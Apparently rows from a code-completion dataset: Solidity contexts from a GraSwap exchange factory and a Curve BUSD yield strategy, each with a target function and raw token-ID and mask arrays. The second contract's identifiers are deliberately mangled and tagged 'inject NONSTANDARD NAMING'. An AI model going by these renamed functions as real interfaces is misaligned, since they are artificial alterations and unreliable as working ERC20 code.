uint tempAmount2 = stockAmount * temp; // Now tempAmount1 >= tempAmount2
moneyAmount = (tempAmount2+price.denominator-1)/price.denominator; // round up
if(ctx.remainAmount > moneyAmount) {
// smallAmount is the gap where remainAmount can not buy an integer of stocks
smallAmount = ctx.remainAmount - moneyAmount;
} else {
moneyAmount = ctx.remainAmount;
} //Now ctx.remainAmount >= moneyAmount
} else {
// for sell orders, remainAmount were always decreased by integral multiple of StockUnit
// and we know for sure that ctx.remainAmount % StockUnit == 0
stockAmount = ctx.remainAmount / ctx.stockUnit;
smallAmount = ctx.remainAmount - stockAmount * ctx.stockUnit;
}
ctx.amountIntoPool += smallAmount; // Deal smallAmount with pool
//ctx.reserveMoney += smallAmount; // If this addition overflows, _setReserves will fail
_emitNewLimitOrder(uint64(ctx.order.sender), ctx.order.amount, uint64(stockAmount),
ctx.order.price, ctx.newOrderID, isBuy);
if(stockAmount != 0) {
ctx.order.amount = uint64(stockAmount);
if(ctx.hasDealtInOrderBook) {
// if current order has ever dealt, it has the best price and can be inserted at head
_insertOrderAtHead(ctx, isBuy, ctx.order, ctx.newOrderID);
} else {
// if current order has NEVER dealt, we must find a proper position for it.
// we may scan a lot of entries in the single-linked list and run out of gas
_insertOrderFromHead(ctx, isBuy, ctx.order, ctx.newOrderID);
}
}
// Any overflow/underflow in following calculation will be caught by _setBooked
if(isBuy) {
ctx.bookedMoney += moneyAmount;
} else {
ctx.bookedStock += (ctx.remainAmount - smallAmount);
}
}
}
// solhint-disable-next-line max-states-count
contract GraSwapPairProxy {
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked;
uint internal immutable _immuFactory;
uint internal immutable _immuMoneyToken;
uint internal immutable _immuStockToken;
uint internal immutable _immuGras;
uint internal immutable _immuOther;
constructor(address stockToken, address moneyToken, bool isOnlySwap, uint64 stockUnit, uint64 priceMul, uint64 priceDiv, address graContract) public {
_immuFactory = uint(msg.sender);
_immuMoneyToken = uint(moneyToken);
_immuStockToken = uint(stockToken);
_immuGras = uint(graContract);
uint temp = 0;
if(isOnlySwap) {
temp = 1;
}
temp = (temp<<64) | stockUnit;
temp = (temp<<64) | priceMul;
temp = (temp<<64) | priceDiv;
_immuOther = temp;
_unlocked = 1;
}
receive() external payable { }
// solhint-disable-next-line no-complex-fallback
fallback() payable external {
uint factory = _immuFactory;
uint moneyToken = _immuMoneyToken;
uint stockToken = _immuStockToken;
uint graContract = _immuGras;
uint other = _immuOther;
address impl = IGraSwapFactory(address(_immuFactory)).pairLogic();
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
let size := calldatasize()
calldatacopy(ptr, 0, size)
let end := add(ptr, size)
// append immutable variables to the end of calldata
mstore(end, factory)
end := add(end, 32)
mstore(end, moneyToken)
end := add(end, 32)
mstore(end, stockToken)
end := add(end, 32)
mstore(end, graContract)
end := add(end, 32)
mstore(end, other)
size := add(size, 160)
let result := delegatecall(gas(), impl, ptr, size, 0, 0)
size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract GraSwapFactory is IGraSwapFactory {
struct TokensInPair {
address stock;
address money;
}
address public override feeTo_1;
address public override feeTo_2;
address public override feeToPrivate;
address public override feeToSetter;
address public immutable gov;
address public immutable graContract;
uint32 public override feeBPS = 40;
address public override pairLogic;
mapping(address => TokensInPair) private _pairWithToken;
mapping(bytes32 => address) private _tokensToPair;
address[] public allPairs;
IPairFeeDistribution pfd; // pairFeeDistribution
constructor(address _feeToSetter, address _gov, address _graContract, address _pairLogic, address _distribution) public {
feeToSetter = _feeToSetter;
gov = _gov;
graContract = _graContract;
pairLogic = _pairLogic;
pfd = IPairFeeDistribution(_distribution);
}
function createPair(address stock, address money, bool isOnlySwap) external override returns (address pair) {
require(stock != money, "GraSwapFactory: IDENTICAL_ADDRESSES");
// not necessary //require(stock != address(0) || money != address(0), "GraSwapFactory: ZERO_ADDRESS");
uint moneyDec = _getDecimals(money);
uint stockDec = _getDecimals(stock);
require(23 >= stockDec && stockDec >= 0, "GraSwapFactory: STOCK_DECIMALS_NOT_SUPPORTED");
uint dec = 0;
if (stockDec >= 4) {
dec = stockDec - 4; // now 19 >= dec && dec >= 0
}
// 10**19 = 10000000000000000000
// 1<<64 = 18446744073709551616
uint64 priceMul = 1;
uint64 priceDiv = 1;
bool differenceTooLarge = false;
if (moneyDec > stockDec) {
if (moneyDec > stockDec + 19) {
differenceTooLarge = true;
} else {
priceMul = uint64(uint(10)**(moneyDec - stockDec));
}
}
if (stockDec > moneyDec) {
if (stockDec > moneyDec + 19) {
differenceTooLarge = true;
} else {
priceDiv = uint64(uint(10)**(stockDec - moneyDec));
}
}
require(!differenceTooLarge, "GraSwapFactory: DECIMALS_DIFF_TOO_LARGE");
bytes32 salt = keccak256(abi.encodePacked(stock, money, isOnlySwap));
require(_tokensToPair[salt] == address(0), "GraSwapFactory: PAIR_EXISTS");
GraSwapPairProxy Graswap = new GraSwapPairProxy{salt: salt}(stock, money, isOnlySwap, uint64(uint(10)**dec), priceMul, priceDiv, graContract);
pair = address(Graswap);
allPairs.push(pair);
_tokensToPair[salt] = pair;
_pairWithToken[pair] = TokensInPair(stock, money);
emit PairCreated(pair, stock, money, isOnlySwap);
// save pair info in pairFeeDistribution contract
pfd.addpair(pair);
}
function _getDecimals(address token) private view returns (uint) {
if (token == address(0)) { return 18; }
return uint(IERC20(token).decimals());
}
function allPairsLength() external override view returns (uint) {
return allPairs.length;
}
function setFeeToAddresses(address _feeTo_1, address _feeTo_2, address _feeToPrivate) external override {
require(msg.sender == feeToSetter, "GraSwapFactory: FORBIDDEN");
feeTo_1 = _feeTo_1;
feeTo_2 = _feeTo_2;
feeToPrivate = _feeToPrivate;
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, "GraSwapFactory: FORBIDDEN");
feeToSetter = _feeToSetter;
}
function setPairLogic(address implLogic) external override {
require(msg.sender == gov, "GraSwapFactory: SETTER_MISMATCH");
pairLogic = implLogic;
}
function setFeeBPS(uint32 _bps) external override {
require(msg.sender == gov, "GraSwapFactory: SETTER_MISMATCH");
require(0 <= _bps && _bps <= 50 , "GraSwapFactory: BPS_OUT_OF_RANGE");
feeBPS = _bps;
}
function setpdf(address _newpfd) external {
require(msg.sender == feeToSetter, "GraSwapFactory: FORBIDDEN");
pfd = IPairFeeDistribution(_newpfd);
}
function getTokensFromPair(address pair) external view override returns (address stock, address money) {
stock = _pairWithToken[pair].stock;
money = _pairWithToken[pair].money;
}
function tokensToPair(address stock, address money, bool isOnlySwap) external view override returns (address pair) {
bytes32 key = keccak256(abi.encodePacked(stock, money, isOnlySwap));
return _tokensToPair[key];
}
} | take the extra money&stock in this pair to 'to' | function skim(address to) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
address stockToken = ProxyData.stock(proxyData);
address moneyToken = ProxyData.money(proxyData);
(uint112 reserveStock, uint112 reserveMoney, ) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(stockToken);
uint balanceMoney = _myBalance(moneyToken);
require(balanceStock >= uint(bookedStock) + uint(reserveStock) &&
balanceMoney >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(stockToken, to, balanceStock-reserveStock-bookedStock, graContract);
_safeTransfer(moneyToken, to, balanceMoney-reserveMoney-bookedMoney, graContract);
}
| 2,413,284 | [
1,
22188,
326,
2870,
15601,
10,
15381,
316,
333,
3082,
358,
296,
869,
11,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4343,
381,
12,
2867,
358,
13,
3903,
3849,
2176,
288,
203,
3639,
2254,
63,
25,
65,
3778,
2889,
751,
31,
203,
3639,
7659,
751,
18,
5935,
12,
5656,
751,
16,
1059,
15,
1578,
21556,
3886,
751,
18,
7240,
15,
21,
10019,
203,
3639,
1758,
12480,
1345,
273,
7659,
751,
18,
15381,
12,
5656,
751,
1769,
203,
3639,
1758,
15601,
1345,
273,
7659,
751,
18,
2586,
402,
12,
5656,
751,
1769,
203,
3639,
261,
11890,
17666,
20501,
17821,
16,
2254,
17666,
20501,
23091,
16,
262,
273,
31792,
264,
3324,
5621,
203,
3639,
261,
11890,
6978,
329,
17821,
16,
2254,
6978,
329,
23091,
16,
262,
273,
2882,
1184,
329,
5621,
203,
3639,
2254,
11013,
17821,
273,
389,
4811,
13937,
12,
15381,
1345,
1769,
203,
3639,
2254,
11013,
23091,
273,
389,
4811,
13937,
12,
2586,
402,
1345,
1769,
203,
3639,
2583,
12,
12296,
17821,
1545,
2254,
12,
3618,
329,
17821,
13,
397,
2254,
12,
455,
6527,
17821,
13,
597,
203,
7734,
11013,
23091,
1545,
2254,
12,
3618,
329,
23091,
13,
397,
2254,
12,
455,
6527,
23091,
3631,
315,
14571,
12521,
30,
10071,
67,
38,
1013,
4722,
8863,
203,
3639,
1758,
3087,
8924,
273,
7659,
751,
18,
2752,
8924,
12,
5656,
751,
1769,
203,
3639,
389,
4626,
5912,
12,
15381,
1345,
16,
358,
16,
11013,
17821,
17,
455,
6527,
17821,
17,
3618,
329,
17821,
16,
3087,
8924,
1769,
203,
3639,
389,
4626,
5912,
12,
2586,
402,
1345,
16,
358,
16,
11013,
23091,
17,
455,
6527,
23091,
17,
3618,
329,
23091,
16,
3087,
8924,
1769,
203,
565,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.17;
interface IERC20 {
function TOTALSUPPLY419() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF996(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER376(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE696(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE263(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM581(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER351(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL946(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD509(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB882(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB882(a, b, "SafeMath: subtraction overflow");
}
function SUB882(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL339(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV809(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV809(a, b, "SafeMath: division by zero");
}
function DIV809(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD891(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD891(a, b, "SafeMath: modulo by zero");
}
function MOD891(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT313(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function TOPAYABLE45(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING
return address(uint160(account));
}
function SENDVALUE473(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER885(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.TRANSFER376.selector, to, value));
}
function SAFETRANSFERFROM553(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.TRANSFERFROM581.selector, from, to, value));
}
function SAFEAPPROVE341(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE696(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, value));
}
function SAFEINCREASEALLOWANCE60(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE696(address(this), spender).ADD509(value);
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE623(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE696(address(this), spender).SUB882(value, "SafeERC20: decreased allowance below zero");
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, newAllowance));
}
function CALLOPTIONALRETURN246(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).ISCONTRACT313(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
interface IController {
function WITHDRAW936(address, uint256) external; //inject NONSTANDARD NAMING
function BALANCEOF996(address) external view returns (uint256); //inject NONSTANDARD NAMING
function EARN112(address, uint256) external; //inject NONSTANDARD NAMING
function WANT318(address) external view returns (address); //inject NONSTANDARD NAMING
function REWARDS351() external view returns (address); //inject NONSTANDARD NAMING
function VAULTS378(address) external view returns (address); //inject NONSTANDARD NAMING
function STRATEGIES650(address) external view returns (address); //inject NONSTANDARD NAMING
}
//
interface Gauge {
function DEPOSIT828(uint256) external; //inject NONSTANDARD NAMING
function BALANCEOF996(address) external view returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAW936(uint256) external; //inject NONSTANDARD NAMING
}
//
interface Mintr {
function MINT422(address) external; //inject NONSTANDARD NAMING
}
//
interface Uni {
function SWAPEXACTTOKENSFORTOKENS240( //inject NONSTANDARD NAMING
uint256,
uint256,
address[] calldata,
address,
uint256
) external;
}
//
interface ICurveFi {
function GET_VIRTUAL_PRICE800() external view returns (uint256); //inject NONSTANDARD NAMING
function ADD_LIQUIDITY808( //inject NONSTANDARD NAMING
// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount
) external;
function ADD_LIQUIDITY808( //inject NONSTANDARD NAMING
// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function REMOVE_LIQUIDITY_IMBALANCE228(uint256[4] calldata amounts, uint256 max_burn_amount) external; //inject NONSTANDARD NAMING
function REMOVE_LIQUIDITY138(uint256 _amount, uint256[4] calldata amounts) external; //inject NONSTANDARD NAMING
function EXCHANGE730( //inject NONSTANDARD NAMING
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
}
interface Zap {
function REMOVE_LIQUIDITY_ONE_COIN571( //inject NONSTANDARD NAMING
uint256,
int128,
uint256
) external;
}
//
// NOTE: Basically an alias for Vaults
interface yERC20 {
function DEPOSIT828(uint256 _amount) external; //inject NONSTANDARD NAMING
function WITHDRAW936(uint256 _amount) external; //inject NONSTANDARD NAMING
function GETPRICEPERFULLSHARE410() external view returns (uint256); //inject NONSTANDARD NAMING
}
//
interface VoterProxy {
function WITHDRAW936( //inject NONSTANDARD NAMING
address _gauge,
address _token,
uint256 _amount
) external returns (uint256);
function BALANCEOF996(address _gauge) external view returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAWALL4(address _gauge, address _token) external returns (uint256); //inject NONSTANDARD NAMING
function DEPOSIT828(address _gauge, address _token) external; //inject NONSTANDARD NAMING
function HARVEST862(address _gauge) external; //inject NONSTANDARD NAMING
function LOCK494() external; //inject NONSTANDARD NAMING
}
//
contract StrategyCurveBUSDVoterProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant want963 = address(0x3B3Ac5386837Dc563660FB6a0937DFAa5924333B); //inject NONSTANDARD NAMING
address public constant crv787 = address(0xD533a949740bb3306d119CC777fa900bA034cd52); //inject NONSTANDARD NAMING
address public constant uni793 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //inject NONSTANDARD NAMING
address public constant weth737 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
address public constant dai668 = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); //inject NONSTANDARD NAMING
address public constant ydai985 = address(0xa3Aa4a71dBb17EBF2108A75b0BB7eFd9955463EF);//itoken //inject NONSTANDARD NAMING
address public constant curve489 = address(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27); //inject NONSTANDARD NAMING
address public constant gauge170 = address(0x69Fb7c45726cfE2baDeE8317005d3F94bE838840); //inject NONSTANDARD NAMING
address public constant voter494 = address(0x07443C1cdb3653746727D595D2c1e5B438e0535A);//CurveYCRVVoter //inject NONSTANDARD NAMING
uint256 public keepCRV = 1000;
uint256 public constant keepcrvmax536 = 10000; //inject NONSTANDARD NAMING
uint256 public performanceFee = 3000;
uint256 public constant performancemax55 = 10000; //inject NONSTANDARD NAMING
uint256 public withdrawalFee = 50;
uint256 public constant withdrawalmax744 = 10000; //inject NONSTANDARD NAMING
address public proxy;
address public governance;
address public controller;
address public strategist;
constructor(address _controller) public {
governance = msg.sender;
strategist = msg.sender;
controller = _controller;
}
function GETNAME315() external pure returns (string memory) { //inject NONSTANDARD NAMING
return "StrategyCurveBUSDVoterProxy";
}
function SETSTRATEGIST730(address _strategist) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function SETKEEPCRV658(uint256 _keepCRV) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
keepCRV = _keepCRV;
}
function SETWITHDRAWALFEE696(uint256 _withdrawalFee) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
withdrawalFee = _withdrawalFee;
}
function SETPERFORMANCEFEE960(uint256 _performanceFee) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function SETPROXY105(address _proxy) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
proxy = _proxy;
}
function DEPOSIT828() public { //inject NONSTANDARD NAMING
uint256 _want = IERC20(want963).BALANCEOF996(address(this));
if (_want > 0) {
IERC20(want963).SAFETRANSFER885(proxy, _want);
VoterProxy(proxy).DEPOSIT828(gauge170, want963);
}
}
// Controller only function for creating additional rewards from dust
function WITHDRAW936(IERC20 _asset) external returns (uint256 balance) { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
require(want963 != address(_asset), "want");
require(crv787 != address(_asset), "crv");
require(ydai985 != address(_asset), "ydai");
require(dai668 != address(_asset), "dai");
balance = _asset.BALANCEOF996(address(this));
_asset.SAFETRANSFER885(controller, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function WITHDRAW936(uint256 _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want963).BALANCEOF996(address(this));
if (_balance < _amount) {
_amount = _WITHDRAWSOME256(_amount.SUB882(_balance));
_amount = _amount.ADD509(_balance);
}
uint256 _fee = _amount.MUL339(withdrawalFee).DIV809(withdrawalmax744);
IERC20(want963).SAFETRANSFER885(IController(controller).REWARDS351(), _fee);
address _vault = IController(controller).VAULTS378(address(want963));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want963).SAFETRANSFER885(_vault, _amount.SUB882(_fee));
}
// Withdraw all funds, normally used when migrating strategies
function WITHDRAWALL4() external returns (uint256 balance) { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
_WITHDRAWALL830();
balance = IERC20(want963).BALANCEOF996(address(this));
address _vault = IController(controller).VAULTS378(address(want963));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want963).SAFETRANSFER885(_vault, balance);
}
function _WITHDRAWALL830() internal { //inject NONSTANDARD NAMING
VoterProxy(proxy).WITHDRAWALL4(gauge170, want963);
}
function HARVEST862() public { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!authorized");
VoterProxy(proxy).HARVEST862(gauge170);
uint256 _crv = IERC20(crv787).BALANCEOF996(address(this));
if (_crv > 0) {
uint256 _keepCRV = _crv.MUL339(keepCRV).DIV809(keepcrvmax536);
IERC20(crv787).SAFETRANSFER885(voter494, _keepCRV);
_crv = _crv.SUB882(_keepCRV);
IERC20(crv787).SAFEAPPROVE341(uni793, 0);
IERC20(crv787).SAFEAPPROVE341(uni793, _crv);
address[] memory path = new address[](3);
path[0] = crv787;
path[1] = weth737;
path[2] = dai668;
Uni(uni793).SWAPEXACTTOKENSFORTOKENS240(_crv, uint256(0), path, address(this), now.ADD509(1800));
}
uint256 _dai = IERC20(dai668).BALANCEOF996(address(this));
if (_dai > 0) {
IERC20(dai668).SAFEAPPROVE341(ydai985, 0);
IERC20(dai668).SAFEAPPROVE341(ydai985, _dai);
yERC20(ydai985).DEPOSIT828(_dai);
}
uint256 _ydai = IERC20(ydai985).BALANCEOF996(address(this));
if (_ydai > 0) {
IERC20(ydai985).SAFEAPPROVE341(curve489, 0);
IERC20(ydai985).SAFEAPPROVE341(curve489, _ydai);
ICurveFi(curve489).ADD_LIQUIDITY808([_ydai, 0, 0, 0], 0);
}
uint256 _want = IERC20(want963).BALANCEOF996(address(this));
if (_want > 0) {
uint256 _fee = _want.MUL339(performanceFee).DIV809(performancemax55);
IERC20(want963).SAFETRANSFER885(IController(controller).REWARDS351(), _fee);
DEPOSIT828();
}
VoterProxy(proxy).LOCK494();
}
function _WITHDRAWSOME256(uint256 _amount) internal returns (uint256) { //inject NONSTANDARD NAMING
return VoterProxy(proxy).WITHDRAW936(gauge170, want963, _amount);
}
function BALANCEOFWANT761() public view returns (uint256) { //inject NONSTANDARD NAMING
return IERC20(want963).BALANCEOF996(address(this));
}
function BALANCEOFPOOL660() public view returns (uint256) { //inject NONSTANDARD NAMING
return VoterProxy(proxy).BALANCEOF996(gauge170);
}
function BALANCEOF996() public view returns (uint256) { //inject NONSTANDARD NAMING
return BALANCEOFWANT761().ADD509(BALANCEOFPOOL660());
}
function SETGOVERNANCE812(address _governance) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
function SETCONTROLLER990(address _controller) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
controller = _controller;
}
} | inject NONSTANDARD NAMING
| function WITHDRAWALL4(address _gauge, address _token) external returns (uint256); | 12,870,948 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
13601,
40,
10821,
4685,
24,
12,
2867,
389,
75,
8305,
16,
1758,
389,
2316,
13,
3903,
1135,
261,
11890,
5034,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
